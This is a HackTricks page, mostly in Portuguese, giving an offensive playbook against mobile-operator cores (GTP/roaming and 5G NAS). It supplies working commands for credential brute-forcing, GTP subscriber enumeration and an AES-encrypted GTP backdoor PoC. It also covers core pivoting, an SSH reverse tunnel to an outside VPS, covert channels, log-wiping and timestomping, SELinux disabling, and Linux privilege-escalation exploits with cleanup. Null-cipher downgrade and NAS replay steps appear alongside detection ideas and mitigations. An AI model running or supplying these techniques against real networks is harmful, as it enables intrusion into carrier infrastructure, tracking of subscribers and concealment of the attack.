Exploração de Redes de Telecom (GTP / Ambientes de Roaming)

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

note

Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles trafegam sobre plain UDP com quase nenhuma autenticação, qualquer ponto de apoio dentro do perímetro de uma operadora geralmente pode alcançar diretamente os planos de sinalização do core. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.

1. Recon & Acesso Inicial

1.1 Contas padrão OSS / NE

Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded como root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Um wordlist dedicado aumenta dramaticamente o sucesso de brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se o dispositivo expõe apenas um VRF de gerenciamento, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).

1.2 Descoberta de Hosts dentro de GRX/IPX

A maioria dos operadores GRX ainda permite ICMP echo através do backbone. Combine masscan com as sondas UDP gtpv1 embutidas para mapear rapidamente os listeners GTP-C:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

A seguinte ferramenta Go cria pacotes GTP-C Create PDP Context Request e registra as respostas. Cada resposta revela o atual SGSN / MME que serve o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Flags principais:

  • --imsi IMSI do assinante alvo
  • --oper Home / HNI (MCC+MNC)
  • -w Grava raw packets para pcap

Constantes importantes dentro do binário podem ser patchadas para ampliar as varreduras:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP – GTPDoor

GTPDoor é um pequeno serviço ELF que faz bind em UDP 2123 e analisa todo pacote GTP-C recebido. Quando o payload começa com uma tag pré-compartilhada, o restante é decriptado (AES-128-CBC) e executado via /bin/sh -c. O stdout/stderr são exfiltrados dentro de mensagens Echo Response, de modo que nunca é criada uma sessão de saída.

Pacote PoC mínimo (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detecção:

  • qualquer host enviando unbalanced Echo Requests para IPs do SGSN
  • flag de versão do GTP definido como 1 enquanto message type = 1 (Echo) – desvio da especificação

4. Pivoting através do Core

4.1 sgsnemu + SOCKS5

OsmoGGSN inclui um emulador SGSN capaz de establish a PDP context towards a real GGSN/PGW. Uma vez negociado, o Linux recebe uma nova interface tun0 acessível a partir do roaming peer.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Com o firewall hair-pinning adequado, este túnel contorna VLANs apenas de signalling e o coloca diretamente no plano de dados.

4.2 SSH Reverse Tunnel over Port 53

DNS quase sempre está aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando em :53 e retorne depois de casa:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Verifique se GatewayPorts yes está habilitado no VPS.

5. Canais Clandestinos

CanalTransporteDecodificaçãoObservações
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)ouvinte puramente passivo, sem tráfego de saída
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsmonitora o subdomínio *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEmistura-se ao tráfego legítimo de GTP-C

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. Defense Evasion Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Elevação de Privilégios em NE Legado

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Dica de limpeza:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Caixa de Ferramentas

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling descrito nas seções anteriores.
  • FScan : varreduras TCP na intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : pivoting SOCKS5 leve
  • FRP (≥0.37) : NAT traversal / ponte entre ativos

9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a NAS security seja ativada por Security Mode Command/Complete, mensagens iniciais são não autenticadas e não encriptadas. Essa janela pré-segurança permite vários caminhos de ataque quando você pode observar ou adulterar o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Dicas para laboratório (non-RF):

  • Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
  • UE: simulador ou UE de teste; decodifique usando o Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Esperado: UE/USIM deve transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite rastreamento persistente do assinante.

Como testar:

  • Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
  • Wireshark quick checks:
  • It should decode as SUCI, not IMSI.
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates um leak.

O que coletar:

  • MCC/MNC/MSIN se expostos; registre por UE e rastreie ao longo do tempo/localizações.

Mitigação:

  • Exigir UEs/USIMs que enviem somente SUCI; alertar sobre qualquer IMSI/SUPI no NAS inicial.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Contexto:

  • UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
  • Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.

Problema:

  • Porque o Registration Request não é protegido por integridade, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.

Passos ofensivos:

  • Intercept InitialUEMessage e modifique o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
  • Com Sni5Gect, hook a mensagem NAS e patch os bits de capability antes de encaminhar.
  • Observe se o AMF aceita cifras/integridade nulas e completa o Security Mode com EEA0/EIA0.

Verificação/visibilidade:

  • No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
  • Exemplo de saída de sniffer passivo:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigações (obrigatórias):

  • Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência).
  • Prefira aplicar EEA2/EIA2 como mínimo; registrar e gerar alarmes para qualquer contexto de segurança NAS que negocie algoritmos nulos.

9.3 Replay de initial Registration Request (pre-security NAS)

Porque o initial NAS carece de integridade e freshness, a InitialUEMessage+Registration Request capturada pode ser replayed para o AMF.

PoC rule for 5GReplay to forward matching replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

Ideias de detecção

  1. Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Create PDP Context Requests.
  2. Portas não padrão (53, 80, 443) recebendo SSH handshakes de IPs internos.
  3. Echo Requests frequentes sem as correspondentes Echo Responses – pode indicar beacons GTPDoor.
  4. Alta taxa de tráfego ICMP echo-reply com campos identifier/sequence grandes e não zero.
  5. 5G: InitialUEMessage transportando NAS Registration Requests repetidos de endpoints idênticos (sinal de replay).
  6. 5G: NAS Security Mode negociando EEA0/EIA0 fora de contextos de emergência.

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks